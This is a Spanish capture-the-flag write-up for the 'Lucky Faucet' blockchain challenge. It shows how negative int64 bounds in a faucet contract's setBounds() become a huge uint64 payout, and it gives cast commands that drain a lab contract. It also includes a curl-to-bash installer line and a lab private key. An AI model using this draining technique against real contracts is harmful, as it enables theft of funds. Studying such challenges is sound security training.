Writeup de "Lucky Faucet" | Blockchain
Writeup de “Lucky Faucet” | Blockchain
Descripción del Challenge:
“The Fray anunció la colocación de un faucet a lo largo del camino para los aventureros que puedan superar los desafíos iniciales. Está diseñado para proporcionar suficientes recursos para todos los jugadores, con la esperanza de que nadie lo monopolice y no deje nada para los demás.”
Tools necesarias:
- Foundry: un toolkit para desarrollo de aplicaciones en Ethereum, escrito en Rust. Es rápido, portátil y modular.
1 | curl -L https://foundry.paradigm.xyz | bash |
Objetivo:
La instancia remota deployea un contrato llamado LuckyFaucet
con 500 ether. El objetivo es lograr que el balance del contrato baje al menos 10 ether, es decir, que quede con menos de 490 ether para que la función isSolved()
devuelva true
.
LuckyFaucet.sol
1 | // SPDX-License-Identifier: MIT |
Setup.sol
1 | // SPDX-License-Identifier: UNLICENSED |
La función sendRandomETH()
te envía una cantidad aleatoria de ETH (en wei), entre los valores lowerBound
y upperBound
. Por defecto, esos valores están en:
lowerBound = 50_000_000
weiupperBound = 100_000_000
wei
Eso significa que cada vez que llamo a la función, el contrato me puede mandar entre 50 millones y 100 millones de wei.
Ahora, para que tengan una idea, 1 ether son 1e18 wei (o sea, un 1 con 18 ceros). Los wei son como los “centavos” del ether, el equivalente a los satoshis en Bitcoin, básicamente la unidad mínima.
Entonces, esos 100 millones de wei que te puede mandar el contrato en el mejor de los casos serían:
1 | 100_000_000 wei = 0.0000001 ether |
Sí, una miseria.
El objetivo del challenge es lograr que el contrato termine con menos de 490 ether, o sea, robarle al menos 10 ether. Si uno se pusiera a llamar a la función sendRandomETH()
normalmente, eso implicaría hacer millones de llamadas. No es viable.
Analizando la función setBounds:
Analizando esta función del contrato que se llama setBounds()
, vemos que se pueden configurar los límites inferior y superior de un rango para enviar ETH aleatoriamente.
Esos límites están definidos como int64
, o sea, números con signo.
Esto significa que nosotros podemos poner números negativos sin problema. Y acá viene la parte divertida: el número que se elige entre esos límites después se convierte a uint64
, que es un número sin signo. ¿Y qué pasa si un número negativo se convierte a sin signo?
Bueno pues.. se transforma en un número gigante.
¿Cómo un número negativo termina siendo un número gigante?
Veamos este ejemplo:
int64
→ entero con signo (puede ser negativo)uint64
→ entero sin signo (solo valores positivos)
Cuando usamos int64
, las computadoras no guardan el signo con un “-“. En vez de eso, usan una técnica llamada two’s complement para representar los negativos en binario.
EJEMPLO:
El número -50000000
en int64
no se guarda como un valor negativo textual, sino que internamente, en binario, se ve así (en hex):
1 | 0xfffffffffcfdf880 |
Este valor, al ser interpretado como uint64
, ya no es negativo, sino que se convierte en un número gigante:
1 | 18446744073659551872 |
Veamos el ejemplo en python:
1 | python3 -c "print(f'uint64: {(-50000000) % (2**64)}')" |
Esto daría: 18.44.. ether, lo que sería suficiente para completar el reto.
INFO
1 | Private key : 0x103ef491f1e817af898e818c40700c58e4fc3ce64e90d3efeba264f0b44da000 |
Con estos datos ya podemos empezar a interactuar con el objetivo. Primero seteo las variables de entorno así es más cómodo para trabajar:
1 | export PRIV_KEY=0x103ef491f1e817af898e818c40700c58e4fc3ce64e90d3efeba264f0b44da000 |
Notese que definimos la variable ETH_RPC_URL para que CAST la detecte automáticamente, sino como alternativa podemos usar:
1 | --rpc-url http://83.136.248.49:42327 |
Explotación
Voy a usar un enfoque más directo y garantizado. Voy a establecer un rango completamente negativo, lo que garantiza que el valor aleatorio siempre será negativo:
1 | cast send --private-key $PRIV_KEY $TARGET 'setBounds(int64,int64)' -- '-50000000' '-1' |
Nota: Con este rango totalmente negativo, tenemos 100% de garantía de que cualquier valor seleccionado será negativo. Debería funcionar al primer intento.
Ahora llamamos a sendRandomETH()
, que tomará un número “aleatorio” dentro del rango negativo y lo convertirá a uint64
, provocando que un valor negativo se transforme en un número grande como comentamos antes, resultando en el envío de más de 18 ether en una sola ejecución:
1 | cast send $TARGET 'sendRandomETH()' --private-key $PRIV_KEY |
Finalmente verificamos el balance:
1 | cast balance --ether $TARGET |
Si chequeo ahora la función isSolved():
1 | cast call $SETUP 'isSolved() (bool)' |
Entonces obtenemos la flag y completamos el challenge: